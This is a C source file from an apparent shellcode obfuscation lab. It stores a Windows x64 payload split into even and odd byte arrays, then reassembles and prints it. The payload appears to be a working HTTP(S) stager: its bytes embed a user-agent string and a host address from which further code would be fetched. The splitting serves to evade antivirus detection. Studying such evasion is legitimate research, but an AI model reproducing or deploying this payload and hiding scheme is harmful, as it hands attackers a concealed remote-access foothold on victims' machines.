mirror of
https://github.com/dobin/ShellcodeObfuscationLab
synced 2026-06-08 13:53:31 +00:00
Dobin Rutishauser
57 lines
5.1 KiB
C
57 lines
5.1 KiB
C
#include <windows.h>
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#include <stdio.h>
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int main(void)
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{
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#define PAYLOAD_SIZE 711
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char evens[356] = {0xfc, 0x83, 0xf0, 0xcc, 0x0, 0x41, 0x41, 0x52, 0x31, 0x65, 0x8b, 0x60, 0x8b, 0x18, 0x8b, 0x20, 0x56, 0xf, 0x4a, 0x48, 0x72, 0x4d, 0xc9, 0x31, 0xac, 0x61, 0x2, 0x20, 0xc1, 0xd, 0x1, 0xe2, 0x52, 0x8b, 0x20, 0x42, 0x41, 0x48, 0xd0, 0x81, 0x18, 0x2, 0x85, 0x0, 0x0, 0x80, 0x0, 0x0, 0x85, 0x74, 0x48, 0xd0, 0x8b, 0x20, 0x1, 0x8b, 0x18, 0xe3, 0x48, 0xc9, 0x8b, 0x88, 0x31, 0x48, 0xd6, 0x31, 0xac, 0xc1, 0xd, 0x1, 0x38, 0x75, 0x4c, 0x4c, 0x8, 0x39, 0x75, 0x58, 0x8b, 0x24, 0x1, 0x66, 0x8b, 0x48, 0x8b, 0x1c, 0x1, 0x41, 0x4, 0x41, 0x41, 0x48, 0xd0, 0x59, 0x41, 0x41, 0x41, 0x48, 0xec, 0x41, 0xff, 0x58, 0x59, 0x48, 0x12, 0x4b, 0xff, 0x5d, 0x31, 0x53, 0xbe, 0x69, 0x69, 0x65, 0x0, 0x56, 0x89, 0x49, 0xc2, 0x77, 0x7, 0xd5, 0x53, 0x70, 0x0, 0x4d, 0x7a, 0x6c, 0x61, 0x35, 0x30, 0x28, 0x69, 0x64, 0x77, 0x20, 0x54, 0x31, 0x2e, 0x3b, 0x57, 0x6e, 0x34, 0x20, 0x36, 0x29, 0x41, 0x70, 0x65, 0x65, 0x4b, 0x74, 0x35, 0x37, 0x33, 0x20, 0x4b, 0x54, 0x4c, 0x20, 0x69, 0x65, 0x47, 0x63, 0x6f, 0x20, 0x68, 0x6f, 0x65, 0x31, 0x31, 0x30, 0x30, 0x30, 0x53, 0x66, 0x72, 0x2f, 0x33, 0x2e, 0x36, 0x59, 0x5a, 0x31, 0x4d, 0xc9, 0x53, 0xba, 0x56, 0xa7, 0x0, 0x0, 0xd5, 0x10, 0x0, 0x31, 0x32, 0x31, 0x38, 0x31, 0x30, 0x31, 0x34, 0x5a, 0x89, 0x49, 0xc0, 0x0, 0x0, 0x31, 0x53, 0x6a, 0x53, 0xba, 0x89, 0xc6, 0x0, 0x0, 0xd5, 0x4b, 0x0, 0x2f, 0x77, 0x69, 0x52, 0x72, 0x6d, 0x4f, 0x4d, 0x75, 0x73, 0x42, 0x77, 0x5f, 0x6e, 0x6b, 0x38, 0x5f, 0x61, 0x32, 0x4d, 0x65, 0x6c, 0x58, 0x44, 0x74, 0x39, 0x62, 0x51, 0x58, 0x71, 0x62, 0x52, 0x41, 0x4a, 0x6e, 0x76, 0x75, 0x0, 0x89, 0x53, 0x41, 0x4d, 0xc9, 0x48, 0x0, 0x28, 0x0, 0x0, 0x50, 0x53, 0xc7, 0xeb, 0x2e, 0xff, 0x48, 0xc6, 0xa, 0x53, 0x48, 0xf1, 0x31, 0x4d, 0xc9, 0x53, 0xc7, 0x2d, 0x18, 0xff, 0x85, 0x75, 0x48, 0xc1, 0x13, 0x0, 0xba, 0xf0, 0xe0, 0x0, 0x0, 0xd5, 0xff, 0x74, 0xeb, 0xe8, 0x0, 0x0, 0x59, 0x40, 0x49, 0xd1, 0xe2, 0x49, 0xc0, 0x10, 0x0, 0xba, 0xa4, 0xe5, 0x0, 0x0, 0xd5, 0x93, 0x53, 0x89, 0x48, 0xf1, 0x89, 0x49, 0xc0, 0x20, 0x0, 0x89, 0x49, 0x12, 0x89, 0x0, 0x0, 0xff, 0x48, 0xc4, 0x85, 0x74, 0x66, 0x7, 0x1, 0x85, 0x75, 0x58, 0x58, 0x0, 0x49, 0xc2, 0xb5, 0x56, 0xd5};
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char odds[355] = {0x48, 0xe4, 0xe8, 0x0, 0x0, 0x51, 0x50, 0x48, 0xd2, 0x48, 0x52, 0x48, 0x52, 0x48, 0x52, 0x51, 0x48, 0xb7, 0x4a, 0x8b, 0x50, 0x31, 0x48, 0xc0, 0x3c, 0x7c, 0x2c, 0x41, 0xc9, 0x41, 0xc1, 0xed, 0x48, 0x52, 0x8b, 0x3c, 0x51, 0x1, 0x66, 0x78, 0xb, 0xf, 0x72, 0x0, 0x8b, 0x88, 0x0, 0x48, 0xc0, 0x67, 0x1, 0x44, 0x40, 0x49, 0xd0, 0x48, 0x50, 0x56, 0xff, 0x41, 0x34, 0x4d, 0xc9, 0x1, 0x48, 0xc0, 0x41, 0xc9, 0x41, 0xc1, 0xe0, 0xf1, 0x3, 0x24, 0x45, 0xd1, 0xd8, 0x44, 0x40, 0x49, 0xd0, 0x41, 0xc, 0x44, 0x40, 0x49, 0xd0, 0x8b, 0x88, 0x58, 0x58, 0x1, 0x5e, 0x5a, 0x58, 0x59, 0x5a, 0x83, 0x20, 0x52, 0xe0, 0x41, 0x5a, 0x8b, 0xe9, 0xff, 0xff, 0x48, 0xdb, 0x49, 0x77, 0x6e, 0x6e, 0x74, 0x41, 0x48, 0xe1, 0xc7, 0x4c, 0x26, 0xff, 0x53, 0xe8, 0x0, 0x0, 0x6f, 0x69, 0x6c, 0x2f, 0x2e, 0x20, 0x57, 0x6e, 0x6f, 0x73, 0x4e, 0x20, 0x30, 0x30, 0x20, 0x69, 0x36, 0x3b, 0x78, 0x34, 0x20, 0x70, 0x6c, 0x57, 0x62, 0x69, 0x2f, 0x33, 0x2e, 0x36, 0x28, 0x48, 0x4d, 0x2c, 0x6c, 0x6b, 0x20, 0x65, 0x6b, 0x29, 0x43, 0x72, 0x6d, 0x2f, 0x33, 0x2e, 0x2e, 0x2e, 0x20, 0x61, 0x61, 0x69, 0x35, 0x37, 0x33, 0x0, 0x53, 0x4d, 0xc0, 0x31, 0x53, 0x49, 0x3a, 0x79, 0x0, 0x0, 0xff, 0xe8, 0x0, 0x0, 0x39, 0x2e, 0x36, 0x2e, 0x39, 0x2e, 0x33, 0x0, 0x48, 0xc1, 0xc7, 0x50, 0x0, 0x4d, 0xc9, 0x53, 0x3, 0x49, 0x57, 0x9f, 0x0, 0x0, 0xff, 0xe8, 0x0, 0x0, 0x75, 0x44, 0x59, 0x4e, 0x63, 0x7a, 0x37, 0x5f, 0x70, 0x41, 0x50, 0x6a, 0x6c, 0x69, 0x34, 0x37, 0x47, 0x42, 0x53, 0x74, 0x31, 0x6a, 0x66, 0x50, 0x39, 0x46, 0x74, 0x41, 0x35, 0x56, 0x31, 0x69, 0x54, 0x4f, 0x71, 0x78, 0x2d, 0x48, 0xc1, 0x5a, 0x58, 0x31, 0x53, 0xb8, 0x2, 0x84, 0x0, 0x0, 0x53, 0x49, 0xc2, 0x55, 0x3b, 0xd5, 0x89, 0x6a, 0x5f, 0x5a, 0x89, 0x4d, 0xc9, 0x31, 0x53, 0x49, 0xc2, 0x6, 0x7b, 0xd5, 0xc0, 0x1f, 0xc7, 0x88, 0x0, 0x49, 0x44, 0x35, 0x0, 0x0, 0xff, 0x48, 0xcf, 0x2, 0xcc, 0x55, 0x0, 0x53, 0x6a, 0x5a, 0x89, 0xc1, 0x10, 0xc7, 0x0, 0x0, 0x49, 0x58, 0x53, 0x0, 0x0, 0xff, 0x48, 0x53, 0x48, 0xe7, 0x89, 0x48, 0xda, 0xc7, 0x0, 0x0, 0x49, 0xf9, 0xba, 0x96, 0xe2, 0x0, 0x0, 0xd5, 0x83, 0x20, 0xc0, 0xb2, 0x8b, 0x48, 0xc3, 0xc0, 0xd2, 0xc3, 0x6a, 0x59, 0xc7, 0xf0, 0xa2, 0xff};
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char shellcode[PAYLOAD_SIZE] = { 0x00 };
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int twoArrIdx = 0;
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int idx = 0;
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while (idx < PAYLOAD_SIZE)
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{
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// read from the even array
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shellcode[idx] = evens[twoArrIdx];
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// odds will be one byte less than evens if PAYLOAD_SIZE is odd
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if ( twoArrIdx == (int)sizeof(odds) )
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{
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// do nothing, otherwise we'll read past the end of our array
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}
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else
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{
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// read from odd array
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shellcode[idx+1] = odds[twoArrIdx];
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// increment twoArrIdx to move to the next position in the evens and odds arrays
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twoArrIdx++;
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}
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// we've just added two bytes, so we need to shift two positions instead of one
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idx = idx + 2;
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}
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idx = 0;
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while ( idx < PAYLOAD_SIZE)
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{
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if (idx == (PAYLOAD_SIZE - 1))
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{
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printf("0x%02x ", (unsigned char)shellcode[idx]);
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}
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else
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{
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printf("0x%02x, ", (unsigned char)shellcode[idx]);
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}
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idx++;
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}
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return 0;
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}
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